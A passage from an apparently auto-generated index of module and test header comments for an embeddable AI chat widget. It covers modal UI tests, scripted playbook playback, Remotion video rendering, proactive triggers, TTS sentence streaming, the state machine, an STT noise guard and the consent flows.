393×852 Playwright screenshots in the proof pack.  
  *embed-widget/test/mobile-fit-css.test.ts:2*
- **`embed.modal`** — @feature embed.http-client Visitor file-upload UI tests: • the composer's paperclip attach button GATING (file_upload_enabled AND consent AND an onAttach wire), • the COMPOSER BUTTON CANON — [attach] [input] [mic] [send], send always last (founder + messenger canon, 2026-07), • the per-widget `attachments` option (data-attachments) ANDed with the server's file_upload_enabled on "connected", • the CLIENT-side pre-check (disallowed type + over-cap size → friendly inline message, no upload), • the transcript rendering (image → thumbnail, file → download card, unsafe URL → safe fallback), and • the Widget's upload flow (handleAttach): error→message mapping, the success bubble + pendingAttachmentId, and binding it onto the next send.  
  *embed-widget/test/attachment.test.ts:2*
- **`embed.modal`** — SOTA widget audit — chat-audit LOW polish pack: (a) forced-colors / prefers-contrast — High-Contrast treatment for bubbles/buttons/borders (static CSS content guard — no real layout engine in jsdom; a live screenshot under forced-colors verifies the LOOK, this file locks the CONTRACT). (b) attachment-only aria-label — covered in attachment.test.ts, next to the rest of the attachment-rendering suite. (c) consecutive same-sender bubble grouping (.ow-msg--grouped). (d) code-block copy button (SVG, Clipboard API, "Copied" flash). (e) composer send button disabled while the input is empty.  
  *embed-widget/test/chat-polish.test.ts:2*
- **`embed.modal`** — @feature embed.avatar SOTA widget audit — FIX WAVE 2 (modal.ts's slice): overlay/close-button clearance (chat-audit#1, CSS-only — covered by the theme.css content guard instead), consent-gate blur reaching the canvas avatar (chat-audit#7), chat→voice sheet-out animation (avatar-audit#2), per-message timestamps + the missing-`ts` guard (chat-audit#4), the SLEEP MID-CONVERSATION `onActivity` hook (avatar-audit#6), the `--ow-level` CSS var now also living on the modal root (chat-audit#7's EQ-bar fix), and the UI-card preview caption (chat-audit#10). Constructs `ChatModal` directly (same lightweight pattern `modal-deterministic-replay.test.ts` uses) rather than a full `Widget`, since these are all pure modal-level contracts.  
  *embed-widget/test/modal-fixwave2.test.ts:2*
- **`embed.modal`** — @feature embed.playbook `ChatModal.resetTranscript()` — the DETERMINISTIC DRIVE rebuild path (see `playbook/player.ts`'s `seekTo`, called once per Remotion-captured frame). A `seek(ms)` rebuilds the chat surface from scratch on EVERY call; without `.ow-chat--no-anim` (theme.css), every entrance/message-in/typing CSS animation restarts from a fresh DOM node each time — timed against REAL wall-clock, not scenario time — so two independent renders of the exact same `ms` would capture a different in-progress animation frame. This is a LIVE, VERIFIED bug (caught by directly diffing two independent Remotion stills of the WidgetScenario composition, ~330K/2M pixels differing, concentrated exactly in the rebuilt `.ow-chat` subtree) — not a hypothetical one. See modal.ts's `resetTranscript`/`mountChatSurface` doc comments for the full story.  
  *embed-widget/test/modal-deterministic-replay.test.ts:2*
- **`embed.modal`** — @feature embed.avatar Static content guard for theme.css's SOTA widget audit FIX WAVE 2 rules. Mirrors `alive-peek-css.test.ts`'s technique: jsdom has no real layout engine (no computed styles, no `:has()` evaluation, no rendered geometry), so a live Playwright screenshot is what actually verifies these LOOK right — this file locks down the CONTRACT the CSS depends on (the right selectors/properties exist, scoped the right way, wired to the right runtime values) so a regression here can't slip in silently between screenshot passes.  
  *embed-widget/test/theme-fixwave2-css.test.ts:2*
- **`embed.modal`** — LIVE TAKEOVER widget-wiring tests — the visitor half of EMBED_LIVE_TAKEOVER_V1: • operator_joined / operator_left system lines • operator_message HUMAN bubble (accent border + "<name> · team" label, XSS-safe rendering) • control{mode} → humanMode flag + typing-indicator suppression • queued turn ack → NOTHING rendered, FSM/composer not stuck • events-stream open/close lifecycle (connected / minimize / close) Uses the same jsdom + MockBackend harness as widget.test.ts: feed() injects BackendEvents through the widget's real handler via the backend's emit.  
  *embed-widget/test/takeover.test.ts:2*
- **`embed.modal`** — ChatModal — the 382×600 dark-Sakura panel that renders every widget phase. Architecture: a single fixed container owns the outer shell (top chrome, figure area, brand bar). Phase-specific surfaces are created on demand and mounted/unmounted as the FSM transitions. This keeps the DOM lean and avoids hidden-but-live panels fighting for events. Surfaces managed: • voice-consent card — ow-gate overlay (the `consent` phase, voice-first landings, AND the `mic-permission` phase — one card, two entry points; see ui/consent.ts) • connecting       — ow-center skeleton • voice surface    — ow-voicebar (+ rings + mic) • chat surface     — ow-chat (messages + compose + the legal line) • error/offline    — ow-error / ow-offline overlay • lead capture     — ow-lead sliding panel • end screen       — ow-end overlay VRM avatar (when enableAvatar=true) is mounted into .oa-avatar-area by the Widget orchestrator after the modal is open.  
  *embed-widget/src/ui/modal.ts:2*
- **`embed.modal`** — TOUCH-DEVICE AUTOFOCUS GATE (founder finding 2026-07-12: opening the widget on a phone zoomed the page — iOS fires zoom-on-focus for any form control computing <16px, and the open path programmatically focused the header's language <select>, which inherited the header's 9px mono size; the instant-chat redesign additionally auto-focused the composer, popping the keyboard on open). On coarse-pointer devices the panel must NEVER programmatically focus a keyboard-popping form control on open/mount — focus happens on the visitor's own tap. Desktop keyboard autofocus stays (a11y: keyboard users land in the composer / the lead form's first field). The CSS half of the fix is theme.css's "iOS 16px ZOOM GUARD" block, which floors every text control at 16px on touch so even a user-initiated focus can't zoom. Same `(pointer: coarse)` signal widget/proactive.ts already uses (inverted, `pointer: fine`) for its desktop gate. Lives in its own module because BOTH ui/modal.ts and ui/lead-capture.ts need it, and modal.ts already imports lead-capture.ts — exporting it from either would create a cycle. SSR/test-safe: missing `window`/`matchMedia` reads as NOT-coarse (desktop behaviour, byte-identical to before the gate existed).  
  *embed-widget/src/ui/touch.ts:2*

### embed/playbook
- **`embed.playbook`** — PlaybookPlayer — the step scheduler for the Embed PLAYGROUND program (milestone 1, NAO-approved 2026-07-08). Walks a validated `Playbook`'s `steps` array on a timer, driving a `PlaybackClient` (see playback-client.ts) so the widget renders the scenario through its REAL code paths — no forked UI, no shadow rendering. Two kinds of steps need two different drivers: - VISITOR turns (`visitor_text` / `visitor_voice`) go through the exact same call the real composer makes on submit: append the user bubble via `widget.modal.addMessage`, then `widget.sendTurn(text)` — the identical sequence `widget/actions.ts`'s `handleSend` runs for a real keystroke. - AGENT-side beats (`agent_reply` / `ui_action` / `tool_activity` / `lead_chip`) are pushed as `BackendEvent`s through the `PlaybackClient`, which `widget/backend-events.ts`'s `handleBackendEvent` consumes completely unmodified — the same reducer a live SSE stream drives. Looping + abort: `start()` optionally auto-accepts a still-showing consent gate (see `maybeAutoAcceptConsent`, milestone 2), connects the client, waits until the widget's own FSM reaches an active surface (see `waitUntilActive`), then loops the step list forever, pausing `playbook.meta.loopPauseMs` between runs. `stop()` is a hard abort — every pending timer resolves immediately and every step-runner's `token` guard bails on its next check, so a `Widget.destroy()` mid-scenario can never leave a stray `setTimeout` or push an event into a torn-down widget.  
  *embed-widget/src/playbook/player.ts:2*
- **`embed.playbook`** — Unit tests for the playbook JSON format's defensive parser (src/playbook/types.ts's `parsePlaybook`). Mirrors the codebase's established shape for validating untrusted network payloads (see client/http-client.ts's `parseProactiveTriggers` tests): malformed top-level shape → the whole playbook is rejected; a malformed individual step is dropped but the rest of the scenario still parses; numeric timing fields are clamped into range rather than dropped.  
  *embed-widget/test/playbook-format.test.ts:2*
- **`embed.playbook`** — Regression guard for the TEN shipped demo playbooks (embed-dashboard/public/v1/playbooks/*.json) — asserts they still pass `parsePlaybook`'s defensive validation byte for byte as authored (no step silently dropped), so a future hand-edit of the JSON can't quietly rot the Playground demo content. Grown from 3 → 10 in milestone 2 (internal test stand, NAO-approved 2026-07-09) to cover the real product surface: onboarding, an honest KB miss, lead-gen, pricing, navigate, handoff/ escalate, the consent gate, error-recovery, multilingual replies, and a gracefully-declined lead.  
  *embed-widget/test/playbook-fixtures.test.ts:2*
- **`embed.playbook`** — PlaybackClient — a scripted `Backend` implementation for the Embed PLAYGROUND program (milestone 1, NAO-approved 2026-07-08). Implements the EXACT SAME `Backend` interface the widget already consumes (see client/http-client.ts's `AgentLiteClient` and client/mock-backend.ts's `MockBackend`) — this is the narrow seam that lets a scripted playbook drive the REAL widget rendering path (typing indicators, streamed tokens, ui_action cards, chips, avatar mouth) with ZERO network calls and ZERO LLM/TTS generation. The widget's own `widget/backend-events.ts` handler is never forked or duplicated — it consumes `PlaybackClient` events exactly as it consumes a live SSE stream. Unlike `MockBackend` (which improvises its own canned replies on a fixed timer), `PlaybackClient` carries no script of its own — it is a dumb, ordered event bus. The ACTUAL choreography (when to show typing, how fast to stream tokens, which `ui_action` to fire, when to loop) lives in `PlaybookPlayer` (player.ts), which calls `emit()` at the times dictated by the playbook JSON. This split mirrors the production shape (a stateless transport + an orchestrator) and keeps both halves trivially testable in isolation — this file has no timers, no `setTimeout`, nothing to fake.  
  *embed-widget/src/playbook/playback-client.ts:2*
- **`embed.playbook`** — Unit tests for the playbook step scheduler (src/playbook/player.ts's `PlaybookPlayer`) against a minimal fake `WidgetCore` (the structural interface every `widget/` submodule receives — see widget/widget-core.ts and test/barge-in.test.ts for the established fake-`self` pattern) and the REAL `PlaybackClient`, so the events actually fan out through its normal listener mechanism. Fake timers drive every `sleep()`/`setTimeout` — no real wall-clock waiting.  
  *embed-widget/test/playbook-player.test.ts:2*
- **`embed.playbook`** — Playbook format (Embed PLAYGROUND program, milestone 1 — NAO-approved 2026-07-08) — a scripted scenario the widget plays back through its REAL rendering path (no LLM, no TTS, no backend). A playbook is JSON: static metadata + an ordered list of typed `steps` a `PlaybookPlayer` (player.ts) walks on a timer, driving a `PlaybackClient` (playback-client.ts) that feeds the exact same `Backend` events (see ../types.ts) the live `AgentLiteClient` would. DESIGNED FOR REUSE beyond milestone 1: - milestone 2 (internal test stand) replays the same JSON against a real mounted widget for manual QA / demoing without burning LLM credits. - milestone 3 (Remotion feed) walks the same `steps` array frame-by-frame to render a deterministic marketing video — the format's per-step timing fields (`typeMs` / `stream.cps` / `ms`) are exactly the frame schedule a renderer needs, so nothing here is playground-only. VOICE (optional, milestone-1 wiring only — clip GENERATION is out of scope, see scripts/bake-playbook-voice.md): `agent_reply.clip` / `visitor_voice.clip` are URLs to pre-baked audio. When present on an `agent_reply`, the player plays the clip through the widget's real `VoicePlayback` — the SAME RMS-driven mouth-amplitude wiring `widget/voice.ts`'s `speakReply` uses for live TTS — so the ALIVE avatar's mouth moves identically to a live reply. Every playbook MUST also work with `clip` entirely absent (text-only playback is the baseline, not a degraded mode) — a missing/failed clip fetch is a silent no-op, never a broken turn. Defensive parsing: `parsePlaybook` is the ONLY trusted entry point for a playbook that came over the network (a fetched JSON file is not to be trusted any more than an SSE frame). Malformed top-level shape → the whole playbook is rejected (`null`); a malformed individual STEP is dropped (the rest of the scenario still plays) — mirrors the codebase's established defensive-parse shape (see client/http-client.ts's `parseProactiveTriggers`). Numeric timing fields are CLAMPED into a sane range rather than dropped — a bad ms/cps value degrading the pacing is harmless; dropping a whole scripted beat over it is not. MILESTONE 2 (internal test stand, NAO-approved 2026-07-09) extended the format minimally, evolving it in place rather than forking a v2 shape: - `AgentReplyStep.suggestHandoff` + the new `EscalateStep`/`ErrorStep` mirror their live `BackendEvent` counterparts (../types.ts) VERBATIM — no new widget-side rendering, the real handoff/error/quota-cap surfaces play unmodified. - a playbook that wants to open on the REAL consent gate (rather than the default synthetic auto-grant) does so via a MOUNT-time config flag (`WidgetConfig.playbookShowConsent`), not a step type — the FSM's initial consent decision is resolved synchronously before any playbook JSON has even been fetched, so it can't live in the JSON. `PlaybookPlayer` auto-accepts the gate as its first scripted beat (see player.ts's `maybeAutoAcceptConsent`).  
  *embed-widget/src/playbook/types.ts:2*

### embed/proactive
- **`embed.proactive`** — Tests for the proactive-trigger pipeline: 1. parseProactiveTriggers — defensive session-bootstrap parsing (malformed entries ignored, ranges enforced, max-8 cap, non-array → null). 2. AgentLiteClient bootstrap — `proactive_triggers` lands on `serverProactiveTriggers` (and absent → null, additive no-op). Engine + action tests (arm/fire/caps/teardown, teaser, greeting override) live in the later describe blocks of this file.  
  *embed-widget/test/proactive.test.ts:2*
- **`embed.proactive`** — widget/proactive — the client-side proactive-engagement rule engine (docs/design/EMBED_PROACTIVE_TRIGGERS_V1.md). Arms listeners per ENABLED dashboard rule, zero server round-trips to evaluate: time   — setTimeout(`seconds` on page) scroll — passive window scroll listener; fires at `depth_pct` % of the page's scrollable run exit   — exit intent: document mouseleave through the viewport TOP (clientY <= 0 — heading for the tab/URL bar). DESKTOP ONLY (`pointer: fine`); mobile exit-intent is out of scope v1 url    — location.pathname.includes(`url_contains`), evaluated ONCE at arm time (SPA route-change re-evaluation is out of scope v1) Fire discipline: • the FIRST rule to fire wins — every other rule disarms immediately; • never fires while the panel is open or after it was opened this page-view (a visitor who already engaged must not be nagged); • per-rule frequency cap: once per visitor per rule per 24h, via localStorage `oa_trig_<widgetKey>_<ruleId>` (epoch-ms of the fire); • global cap: ONE fire per tab session, via sessionStorage `oa_trig_fired_<widgetKey>`; • storage unavailable (hard-blocked) → conservative NO-FIRE: when the caps can't be read or written, the engine must not risk re-nagging on every page view, so it stands down. Actions (see fire()): • "teaser" — dismissible speech bubble anchored to the launcher (the ChatBubble's existing teaser surface — same DOM, classes, pop-in animation). Clicking the body opens the panel with the rule message as the contextual greeting; the × just dismisses (the rule was already capped at fire time). • "open"   — opens the panel directly with the same greeting override. A first-time visitor still lands on the consent gate FIRST — the override is held on the widget (`proactiveGreeting`) and applies post-consent when the chat surface mounts. prefers-reduced-motion affects only the teaser's pop-in ANIMATION (handled by theme.css's existing reduced-motion rule) — never the firing logic. Teardown: armProactiveTriggers stores a single disarm closure on the widget (`proactiveDisarm`); Widget.destroy() and forgetVisitor() call disarmProactiveTriggers for a full teardown (timers + window/document listeners). Arming is also self-cleaning: a re-arm (re-bootstrap) or the first fire disarms the previous set. WIRING (two delivery paths): 1. PRE-SESSION (primary) — prefetchProactiveTriggers below: at widget mount, in the launcher phase, the widget fire-and-forgets agent-lite's public `GET /v1/embed/:widgetId/proactive` (origin-gated, unsigned — pre-session there is no sig_key) and arms the engine immediately. This is the path that lets triggers fire BEFORE the first click/consent. 2. SESSION BOOTSTRAP (fallback) — the post-"connected" arm in backend-events.ts, kept for older flows; it is a NO-OP when the pre-session path already armed (Widget.proactiveArmedPreSession), so the two paths never double-arm or disarm each other.  
  *embed-widget/src/widget/proactive.ts:2*

### embed/remotion
- **`embed.remotion`** — StateMontage — cycles the 9 "Widget State Gallery" playbooks (embed-dashboard/public/v1/playbooks/states/*.json — the SAME scenarios /states.html holds live, one widget instance per tile, forever) through ONE widget instance, one state per `<Sequence>` segment (Embed PLAYGROUND program, milestone 3 — the Remotion bridge). Each segment reuses `WidgetScenario` UNCHANGED, pointed at `states/<id>` — `remotion-widget.html`'s `playbookUrl` construction is `"/v1/playbooks/" + pb + ".json"`, so a `playbookId` containing a `/` (e.g. "states/state-streaming") resolves to `/v1/playbooks/states/state-streaming.json` with no extra plumbing. The cycling itself is `@openalicelabs/remotion`'s `SequenceCycle` — a generalized "N equal-length back-to-back `<Sequence>` windows, one fresh mount per item" helper (Remotion's own `<Sequence>` default unmount-at- boundary behaviour gives each segment a FRESH iframe + a FRESH widget mount — exactly the reset a different playbook needs, unlike a `seekTo` scrub within ONE playbook).  
  *embed-remotion/src/compositions/StateMontage.tsx:2*
- **`embed.remotion`** — Root — registers every composition for the Embed PLAYGROUND program's milestone 3 (the Remotion bridge). Two capture strategies, per the program plan: WIDGET SCENES (`WidgetScenarioVertical` / `WidgetScenarioHorizontal`) — the REAL widget bundle, deterministically driven (see compositions/WidgetScenario.tsx + embed-widget's src/playbook/player.ts's `seekTo`). `playbookId` selects which of the 10 demo scenarios (embed-dashboard/public/v1/playbooks/*.json) plays. Registered at BOTH 1080x1920 (vertical — the money shot, a phone-shaped panel) and 1920x1080 (horizontal) — same component, different pixel dimensions; `public/remotion-widget.html` adapts its stage CSS to whichever aspect ratio it's handed. DASHBOARD SCENES (`DashboardTour`, `StateMontage`) — pure React on fixtures, importing embed-dashboard's showcase components + typed fixture batches DIRECTLY (see compositions/DashboardTour.tsx and compositions/StateMontage.tsx). `../../embed-dashboard/src/app/globals.css` is imported once here so every composition's `oa-*` design-system classes (cards, badges, buttons, the CSS custom-property token set) resolve — the SAME stylesheet embed-dashboard itself loads in its root layout.  
  *embed-remotion/src/Root.tsx:2*
- **`embed.remotion`** — Remotion entry point — registers the Root (see Root.tsx). This is the file `remotion studio` / `remotion render` / `remotion still` are pointed at (see package.json's preview/render/still scripts).  
  *embed-remotion/src/index.ts:2*
- **`embed.remotion`** — DashboardTour — the "cursor clicks Add → widget card appears" DASHBOARD SCENE (Embed PLAYGROUND program, milestone 3 — the Remotion bridge). Pure React on fixtures: imports the REAL fixture-driven showcase "twin" components (embed-dashboard/src/app/showcase/components/*) and the SAME typed fixture batches (embed-dashboard/src/lib/fixtures) DIRECTLY — same repo, same types, zero duplicated data — and animates them with Remotion primitives (`interpolate`/`spring`) + `@openalicelabs/remotion`'s `CursorSprite`. The "Widgets" list + "+ Add widget" button are THIS composition's own construction (design-system classes only — `oa-*` globals, see Root.tsx's CSS import): no dedicated "widget management" fixture/ component exists yet to reuse (surveyed — embed-dashboard's real widget list is a server-fetching page, not fixture-injectable, same reason the showcase twins exist at all). `ConvRow`/`LeadsView` (the OTHER showcase components) depend on a `next-intl` provider and are deliberately NOT used here — see the milestone's architecture notes. The cursor sprite (`CursorSprite`) and the fixture-panel stagger-in (`staggerIn`) are ABSTRACT now — both live in `@openalicelabs/remotion` (packages/remotion in openalice-platform), generalized (parameterized colors on the cursor; delay/duration/damping/distance on the stagger). This composition passes Embed's own brand pink (`rippleColor="#fa6aa6"`) to reproduce the exact same rendered ripple the old local `lib/cursor.tsx` hardcoded. TIMELINE (fps=30, see Root.tsx's DashboardTour registration): 0–30            dashboard chrome + existing widget cards fade/slide in 30–95           cursor glides from off-screen toward "+ Add widget" 95–115          click punch + ripple on the button 115–140         a new widget card scales/fades into the list 130–200         the fixture panels (Analytics / Insights / Knowledge) stagger in on the right — "the new widget's dashboard populating with real data" 200+            hold  
  *embed-remotion/src/compositions/DashboardTour.tsx:2*
- **`embed.remotion`** — WidgetScenario — renders the REAL widget playing one playbook, deterministically, inside a same-origin <iframe> (Embed PLAYGROUND program, milestone 3 — the Remotion bridge). Registered twice in Root.tsx with different pixel dimensions (WidgetScenarioVertical 1080x1920 — the money shot — and WidgetScenarioHorizontal 1920x1080); this component is dimension-agnostic, it just fills whatever frame it's given. HOW THE DETERMINISM WORKS (see embed-widget's src/playbook/player.ts): `public/remotion-widget.html` (a static driver page; the actual SDK bundle + playbook JSON + the ALIVE avatar's layer-PNG set are synced from embed-widget/dist + embed-dashboard's public/v1/playbooks + public/v1/puru by scripts/sync-assets.mjs) mounts the widget with `playback: true, playbookDeterministic: true, avatarKind: "alive"`. Once the widget settles onto its active surface, it sets `window.__oaPlaybookSeek(ms)` on that page's `window` — a SYNCHRONOUS, pure-of- scenario-time render function that also drives the ALIVE avatar's own deterministic hook (`avatar.seek(ms)`, see puru-render.ts) — plus `window.__oaPlaybookClipSchedule(maxMs)` for the PRE-BAKED VOICE `<Audio>` wiring below. THE IFRAME-DRIVING MECHANICS (the delayRender/continueRender gate, the readiness poll, re-reading `contentWindow` fresh on every tick, the paint-settle double-rAF) are ABSTRACT now — they live in `@openalicelabs/remotion`'s `DeterministicIframe` (packages/remotion in openalice-platform), generalized behind two named window-globals instead of hardcoded to `__oaPlaybookSeek`/`__oaPlaybookClipSchedule`. This component only supplies the CONTRACT: `driverSrc`, those two global names, and what to DO with the resolved clip schedule — the `<Sequence><Audio>` wiring below is Embed's own business; the shared primitive stays media-agnostic. ASSET URLS ARE PASSED IN, NOT HARDCODED IN THE STATIC HTML: Remotion's dev/render server only serves a `public/` path once it's been referenced via `staticFile()` SOMEWHERE in the bundled composition code — a raw hardcoded `/v1/embed.js` string living inside a static `.html` file (never scanned by the bundler) 404s. So this component resolves the SDK bundle's + the specific playbook JSON's + the ALIVE avatar layer-set's URLs via `staticFile()` HERE and forwards them to the driver page as query params (`sdk` / `pbUrl` / `alive`) — the ONLY paths `remotion-widget.html` itself ever touches directly. PRE-BAKED VOICE (Embed PLAYGROUND, Task 2): `onSchedule` (below) receives the resolved clip schedule ONCE, right after the seek path is ready — `DeterministicIframe` piggy-backs the schedule read on the SAME readiness signal `seekGlobal` uses. This component renders one `<Sequence><Audio></Sequence>` per baked clip window — real audio in the rendered mp4, not just a silently-driven mouth. The schedule itself is computed by `PlaybookPlayer.getClipSchedule` (embed-widget's player.ts) — this component deliberately does NOT reimplement the step-timing math in React/TS land; it just reads the already-correct answer through the same iframe bridge `__oaPlaybookSeek` uses.  
  *embed-remotion/src/compositions/WidgetScenario.tsx:2*
- **`embed.remotion`** — Remotion project config (Embed PLAYGROUND program, milestone 3 — the Remotion bridge). Two things this needs beyond Remotion's defaults: 1. The `@/*` webpack alias mirroring embed-dashboard's own tsconfig alias (see tsconfig.json's `paths` doc comment) — the DashboardTour / StateMontage compositions import fixture-driven showcase components DIRECTLY from embed-dashboard/src (same repo, same types, zero duplication — see the program plan), and those files' own imports (`@/lib/agentLite` etc.) need the alias resolved at BUNDLE time too, not just by tsc. 2. A reasonable default codec/concurrency for this host (see README.md's render notes — software rendering, capped workers).  
  *embed-remotion/remotion.config.ts:2*

### embed/sentence-streamer
- **`embed.sentence-streamer`** — SentenceStreamer — accepts streamed LLM text deltas and emits *complete* sentences as soon as a boundary is seen, so the voice path can start synthesising + speaking the first sentence while the rest of the reply is still streaming in. It is deliberately pure (no DOM, no timers) so it unit-tests trivially: feed it deltas via push(), it calls the per-sentence callback synchronously. Chunking is WORD-COUNT based so each emitted chunk is a natural phrase the TTS can speak with intact intonation — splitting word-by-word (or after tiny "Hi." spurts) wrecks prosody. Strategy ("short first, then big"): - the FIRST chunk emits at the earliest sentence/line boundary once it has ≥ FIRST_MIN_WORDS words (so the agent starts speaking fast, but with a whole 5-10-word phrase, not a single word); - every SUBSEQUENT chunk accumulates ≥ REST_MIN_WORDS words before a boundary emits it, so the body stays in long, naturally-intoned blocks while the first chunk is already playing + the rest streams in; - sub-floor boundaries are MERGED forward (we keep scanning past them) so a short sentence joins the next instead of becoming its own choppy clip; - guarded against abbreviations (Mr. Dr. e.g. …) and mid-sentence continuations (lowercase / decimal after the dot); - a run-on with no boundary still emits once the buffer passes MAX_CHARS so a wall of comma-spliced text never starves the speaker.  
  *embed-widget/src/client/sentence-streamer.ts:2*

### embed/state
- **`embed.state.machine`** — The widget's finite state machine — the single source of truth for which surface is showing. Every visual component reads `state.phase` (+ context) and renders accordingly; nothing else mutates phase. Framework-free and DOM-free so it unit-tests in isolation and can drive any renderer. Models the 13 interaction states from the finalized design (INTERACTION-STATES-SPEC.md §2), updated for the INSTANT-CHAT consent flow (founder redesign 2026-07-12, the "11labs pattern"): TEXT chat opens instantly — no blocking gate. A fresh visitor's OPEN goes straight to `chat` (deferred: the backend stays dormant, nothing is processed). The FIRST SEND is the acceptance act (`CONSENT_IMPLICIT`) — it flips `consentGranted` and the widget wakes the backend. VOICE is the consent moment: a voice-first landing (or any later voice entry without consent) shows the compact voice-consent card — the `consent` phase for a voice-first open, the `mic-permission` phase for an in-conversation entry (both render the same card; see ui/consent.ts). returning (granted):  launcher → connecting → reveal → (voice ⇄ chat) fresh, chat landing:  launcher → chat  (deferred; first send = accept) fresh, voice landing: launcher → consent (voice card) → connecting → … with branches to minimized/dock, mic-permission, error/retry, lead-capture, handoff, ended, and offline. Render mode (avatar / voice-only / text-only) decides which surface `reveal` resolves into and whether voice is offered.  
  *embed-widget/src/state/machine.ts:2*

### embed/stt-noise-guard
- **`embed.stt-noise-guard`** — Guards against phantom voice turns. Whisper-family STT (incl. Voxtral) is notorious for HALLUCINATING a canned phrase when fed near-silent audio — a cough, a door, or room tone trips the VAD, and the transcript comes back as "Thank you." / "Thanks for watching." / "." etc. In a hands-free call that silently kicks off a real LLM turn, so the agent "wakes up" and replies to nothing (NAO: she re-greeted while I was just sitting idle). Two cheap, conservative gates (pure + unit-tested): • a minimum audio size — a sub-~250ms blob is almost never real speech; • a denylist of the notorious silence artifacts, matched ONLY as the whole utterance. We deliberately DON'T filter things a visitor might genuinely say ("bye", "okay", "thanks") — only phrases no one types at a brand rep (video-caption credits, music notes) and bare punctuation.  
  *embed-widget/src/client/stt-noise.ts:2*

### embed/types
- **`embed.types`** — Shared TypeScript types for the openalice-embed widget. v0.2 — extended with QuickReply, ActionCard, suggestHandoff, RenderMode passthrough, and avatarImageUrl for the launcher face.  
  *embed-widget/src/types.ts:2*

### embed/ui
- **`embed.ui.action-card`** — Inline action card — the conversion payoff rendered inside the message list. Types: book-demo (calendar CTA), lead-form (triggers REQUEST_LEAD event), link-out (external URL), human (triggers HANDOFF event). Mirrors the .ow-actioncard design from widget-ui.html.  
  *embed-widget/src/ui/action-card.ts:2*
- **`embed.ui.brand-logo`** — Shared customer-logo renderer for the co-brand strip (modal) and the consent gate. Renders the customer's brand logo with a brand-NAME text fallback. SECURITY (hard requirement): the logo is rendered ONLY via an `<img src=...>` element — we NEVER inject/inline SVG markup into the DOM. An `<img>`-loaded SVG cannot execute scripts, so a customer-supplied logo URL is safe for v1 (the logo is a URL today, not an upload). The URL is validated to be a non-blank https URL before it is ever assigned to `img.src`; anything else falls back to the brand-name text. NEVER a broken image / empty box: an `onerror` handler swaps the failed `<img>` for the brand-name text. FUTURE: when a logo *upload* flow exists, uploaded SVGs must be sanitised or rasterised at upload time (still safe to <img>-render, but defence in depth).  
  *embed-widget/src/ui/brand-logo.ts:2*
- **`embed.ui.brand-logo`** — @feature embed.ui.consent Tests for the customer-logo renderer used by the co-brand strip + consent gate. The security-critical properties: - the logo is rendered ONLY via an <img> element (never inline SVG markup), - only a non-blank https URL is ever assigned to img.src, - a missing/unsafe URL OR an image load error falls back to the brand-NAME text — NEVER a broken image / empty box.  
  *embed-widget/test/brand-logo.test.ts:2*
- **`embed.ui.chips`** — Quick-reply chip row — 2-3 contextual chips rendered after each turn. Tapping a chip fires the send handler with the chip's value. Used in both voice surface (centered) and chat surface (flush-left).  
  *embed-widget/src/ui/chips.ts:2*
- **`embed.ui.consent`** — @feature embed.i18n INSTANT-CHAT CONSENT FLOW (founder redesign 2026-07-12, the "11labs pattern") — widget-level integration tests: 1. TEXT CHAT OPENS INSTANTLY — a fresh visitor's open lands straight on the chat surface; the LIVE backend stays completely dormant (GDPR: nothing is processed until the visitor actually sends something). 2. FIRST SEND = IMPLICIT ACCEPT — the send flips + persists consent, the session bootstrap fires WITH consent {given:true} (truthful — never before an acceptance, never false after one), and the parked turn is flushed to the backend once the bootstrap resolves. 3. THE COMPOSER LEGAL LINE — the non-blocking legal basis: AI disclosure, "By chatting you agree…" with validated links, Learn-more collapse. 4. THE LANGUAGE SWITCHER — header globe control: persists per widget, re-renders live, boot honours the override.  
  *embed-widget/test/consent-flow.test.ts:2*
- **`embed.ui.consent`** — VOICE-CONSENT CARD (founder redesign 2026-07-12, the "11labs pattern"). The old full-screen consent gate that blocked ALL interaction is retired: text chat now opens instantly (the legal basis lives in the composer's light legal line — see ui/modal.ts's buildLegalLine — and the FIRST send is the acceptance act). Consent is asked ONLY at the voice moment: entering VOICE (voice-first landing, call button, composer mic toggle) mounts this COMPACT card over the blurred figure. Two variants: • "full"  — no consent recorded yet (a voice-first landing, or a deferred pre-consent chat's first voice entry): AI-disclosure eyebrow + trimmed gate copy (voice/EU processing + legal links + optional transcript disclosure) + the voice-processing line + Start-talking CTA. • "short" — the visitor already consented (implicit text accept or a prior session): mic + voice processing only — no re-lecture. Accepting arms the browser's NATIVE mic prompt immediately (the caller's onAccept dispatches CONSENT_ACCEPT / MIC_GRANTED → the voice surface's getUserMedia); declining falls back to text chat gracefully. Accessibility: dialog role, focus trapped, Escape swallowed (GDPR: the card requires an explicit choice — Accept or the graceful text decline — so Escape must not dismiss it into an undefined state) per WCAG 2.1.  
  *embed-widget/src/ui/consent.ts:2*
- **`embed.ui.consent`** — Unit tests for the VOICE-CONSENT CARD DOM element (src/ui/consent.ts) — the compact card of the instant-chat consent redesign (founder 2026-07-12, the "11labs pattern"): text chat opens instantly, consent is asked only at the voice moment, in a FULL (no consent yet) or SHORT (already consented) variant. Strategy: call createVoiceConsentEl() directly and assert observable DOM structure, text content, link presence/absence, and callback wiring. No Widget import — this is a pure-fn + DOM test (jsdom).  
  *embed-widget/test/consent.test.ts:2*
- **`embed.ui.dock`** — Minimized dock — slim bar shown when the user minimizes the widget. Design: 300px pill bar — her face + last message nudge + expand arrow. Clicking anywhere on the dock fires RESTORE. Accessibility: the entire pill is a single interactive element (role="button") so there is no nested-button violation. The expand arrow is a purely decorative <span> — the dock button's aria-label already conveys the action ("expand chat").  
  *embed-widget/src/ui/dock.ts:2*
- **`embed.ui.end-screen`** — End-of-conversation screen — recap + soft emoji rating (CSAT). Design (widget-states.html "end of chat"): "Anything else, or all set?", recap note, 😍🙂😐 rating row. (The "Email me the transcript" button was removed until Brevo transcript delivery is wired — see the note at render.)  
  *embed-widget/src/ui/end-screen.ts:2*
